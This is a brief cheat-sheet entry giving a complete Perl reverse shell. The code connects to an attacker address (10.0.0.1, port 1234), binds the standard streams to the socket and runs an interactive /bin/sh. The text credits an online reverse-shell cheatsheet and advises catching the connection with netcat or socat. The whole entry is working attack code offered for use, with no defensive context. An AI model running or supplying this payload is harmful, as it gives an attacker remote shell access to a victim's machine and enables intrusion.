A simple reverse shell: use Socket; $attacker_ip="10.0.0.1"; $attacker_port=1234; socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($attacker_port, inet_aton($attacker_ip)))){ open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S"); exec("/bin/sh -i"); }; Adapted from slyth11907 / Cheatsheets / Cheatsheet_ReverseShells. Catch it with netcat or socat.